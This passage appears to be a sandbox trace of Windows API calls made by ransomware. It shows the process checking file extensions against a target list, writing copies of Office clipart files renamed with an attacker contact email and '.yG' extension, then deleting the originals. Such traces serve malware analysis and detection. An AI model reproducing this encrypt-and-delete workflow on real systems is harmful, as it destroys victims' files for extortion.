	[0148.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0148.011] lstrlenW (lpString=".jpg") returned 4
	[0148.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0148.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0148.011] lstrlenW (lpString=".doc") returned 4
	[0148.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.011] lstrlenW (lpString=".docx") returned 5
	[0148.011] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.011] lstrlenW (lpString=".pdf") returned 4
	[0148.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.012] lstrlenW (lpString=".xls") returned 4
	[0148.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.012] lstrlenW (lpString=".xlsx") returned 5
	[0148.012] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.012] lstrlenW (lpString=".ppt") returned 4
	[0148.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0148.012] lstrlenW (lpString=".zip") returned 4
	[0148.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.012] lstrlenW (lpString=".rar") returned 4
	[0148.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.012] lstrlenW (lpString=".bz2") returned 4
	[0148.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.012] lstrlenW (lpString=".7z") returned 3
	[0148.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0148.012] lstrlenW (lpString=".dbf") returned 4
	[0148.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0148.012] lstrlenW (lpString=".1cd") returned 4
	[0148.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68
	[0148.012] lstrlenW (lpString=".jpg") returned 4
	[0148.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.012] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0148.012] lstrlenW (lpString="FD01191_.WMF") returned 12
	[0148.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0148.013] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=3964) returned 1
	[0148.027] CloseHandle (hObject=0x548) returned 1
	[0148.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x220
	[0148.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0148.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0148.028] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.028] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0148.029] GetLastError () returned 0x0
	[0148.030] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xf7c, lpOverlapped=0x0) returned 1
	[0148.086] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xf80, lpOverlapped=0x0) returned 1
	[0148.087] ReadFile (in: hFile=0x548, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0148.087] WriteFile (in: hFile=0x544, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0148.088] SetEndOfFile (hFile=0x544) returned 1
	[0148.088] CloseHandle (hObject=0x544) returned 1
	[0148.088] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0148.088] SetEndOfFile (hFile=0x548) returned 1
	[0148.092] CloseHandle (hObject=0x548) returned 1
	[0148.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0148.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1
	[0148.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0148.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0148.761] lstrlenW (lpString=".doc") returned 4
	[0148.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.761] lstrlenW (lpString=".docx") returned 5
	[0148.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.761] lstrlenW (lpString=".pdf") returned 4
	[0148.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.761] lstrlenW (lpString=".xls") returned 4
	[0148.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.761] lstrlenW (lpString=".xlsx") returned 5
	[0148.761] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.761] lstrlenW (lpString=".ppt") returned 4
	[0148.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0148.762] lstrlenW (lpString=".zip") returned 4
	[0148.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.762] lstrlenW (lpString=".rar") returned 4
	[0148.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.762] lstrlenW (lpString=".bz2") returned 4
	[0148.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.762] lstrlenW (lpString=".7z") returned 3
	[0148.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0148.762] lstrlenW (lpString=".dbf") returned 4
	[0148.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0148.762] lstrlenW (lpString=".1cd") returned 4
	[0148.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0148.762] lstrlenW (lpString=".jpg") returned 4
	[0148.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0148.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0148.762] lstrlenW (lpString=".doc") returned 4
	[0148.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0148.762] lstrlenW (lpString=".docx") returned 5
	[0148.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0148.762] lstrlenW (lpString=".pdf") returned 4
	[0148.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0148.762] lstrlenW (lpString=".xls") returned 4
	[0148.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0148.763] lstrlenW (lpString=".xlsx") returned 5
	[0148.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0148.763] lstrlenW (lpString=".ppt") returned 4
	[0148.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0148.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0148.763] lstrlenW (lpString=".zip") returned 4
	[0148.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0148.763] lstrlenW (lpString=".rar") returned 4
	[0148.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0148.763] lstrlenW (lpString=".bz2") returned 4
	[0148.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0148.763] lstrlenW (lpString=".7z") returned 3
	[0148.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0148.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0148.763] lstrlenW (lpString=".dbf") returned 4
	[0148.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0148.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0148.763] lstrlenW (lpString=".1cd") returned 4
	[0148.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0148.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0148.763] lstrlenW (lpString=".jpg") returned 4
	[0148.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0148.764] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0148.764] lstrlenW (lpString="FD01658_.WMF") returned 12
	[0148.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0149.206] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=17924) returned 1
	[0149.207] CloseHandle (hObject=0x4a4) returned 1
	[0149.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x220
	[0149.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0149.208] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.208] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0149.208] GetLastError () returned 0x0
	[0149.208] ReadFile (in: hFile=0x4a4, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x4604, lpOverlapped=0x0) returned 1
	[0149.214] WriteFile (in: hFile=0x518, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x4610, lpOverlapped=0x0) returned 1
	[0149.216] ReadFile (in: hFile=0x4a4, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.216] WriteFile (in: hFile=0x518, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.216] SetEndOfFile (hFile=0x518) returned 1
	[0149.216] CloseHandle (hObject=0x518) returned 1
	[0149.216] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.216] SetEndOfFile (hFile=0x4a4) returned 1
	[0149.220] CloseHandle (hObject=0x4a4) returned 1
	[0149.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1
	[0149.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0149.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0149.222] lstrlenW (lpString=".doc") returned 4
	[0149.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.222] lstrlenW (lpString=".docx") returned 5
	[0149.222] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.222] lstrlenW (lpString=".pdf") returned 4
	[0149.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.222] lstrlenW (lpString=".xls") returned 4
	[0149.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.222] lstrlenW (lpString=".xlsx") returned 5
	[0149.222] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.222] lstrlenW (lpString=".ppt") returned 4
	[0149.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0149.223] lstrlenW (lpString=".zip") returned 4
	[0149.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.223] lstrlenW (lpString=".rar") returned 4
	[0149.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.223] lstrlenW (lpString=".bz2") returned 4
	[0149.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.223] lstrlenW (lpString=".7z") returned 3
	[0149.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0149.223] lstrlenW (lpString=".dbf") returned 4
	[0149.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0149.223] lstrlenW (lpString=".1cd") returned 4
	[0149.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0149.224] lstrlenW (lpString=".jpg") returned 4
	[0149.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0149.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0149.224] lstrlenW (lpString=".doc") returned 4
	[0149.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.224] lstrlenW (lpString=".docx") returned 5
	[0149.224] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.224] lstrlenW (lpString=".pdf") returned 4
	[0149.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.224] lstrlenW (lpString=".xls") returned 4
	[0149.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.224] lstrlenW (lpString=".xlsx") returned 5
	[0149.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.224] lstrlenW (lpString=".ppt") returned 4
	[0149.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0149.225] lstrlenW (lpString=".zip") returned 4
	[0149.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.225] lstrlenW (lpString=".rar") returned 4
	[0149.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.225] lstrlenW (lpString=".bz2") returned 4
	[0149.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.225] lstrlenW (lpString=".7z") returned 3
	[0149.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0149.226] lstrlenW (lpString=".dbf") returned 4
	[0149.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0149.226] lstrlenW (lpString=".1cd") returned 4
	[0149.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0149.226] lstrlenW (lpString=".jpg") returned 4
	[0149.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.226] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.226] lstrlenW (lpString="FD02153_.WMF") returned 12
	[0149.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0149.227] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=5392) returned 1
	[0149.227] CloseHandle (hObject=0x4a4) returned 1
	[0149.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x220
	[0149.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0149.228] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.228] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0149.229] GetLastError () returned 0x0
	[0149.229] ReadFile (in: hFile=0x4a4, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x1510, lpOverlapped=0x0) returned 1
	[0149.260] WriteFile (in: hFile=0x518, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x1520, lpOverlapped=0x0) returned 1
	[0149.262] ReadFile (in: hFile=0x4a4, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.262] WriteFile (in: hFile=0x518, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.262] SetEndOfFile (hFile=0x518) returned 1
	[0149.262] CloseHandle (hObject=0x518) returned 1
	[0149.263] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.263] SetEndOfFile (hFile=0x4a4) returned 1
	[0149.266] CloseHandle (hObject=0x4a4) returned 1
	[0149.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 1
	[0149.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0149.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0149.267] lstrlenW (lpString=".doc") returned 4
	[0149.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.268] lstrlenW (lpString=".docx") returned 5
	[0149.268] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.268] lstrlenW (lpString=".pdf") returned 4
	[0149.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.268] lstrlenW (lpString=".xls") returned 4
	[0149.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.268] lstrlenW (lpString=".xlsx") returned 5
	[0149.268] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.268] lstrlenW (lpString=".ppt") returned 4
	[0149.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0149.268] lstrlenW (lpString=".zip") returned 4
	[0149.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.268] lstrlenW (lpString=".rar") returned 4
	[0149.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.268] lstrlenW (lpString=".bz2") returned 4
	[0149.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.268] lstrlenW (lpString=".7z") returned 3
	[0149.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
	[0149.269] lstrlenW (lpString=".dbf") returned 4
	[0149.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 68
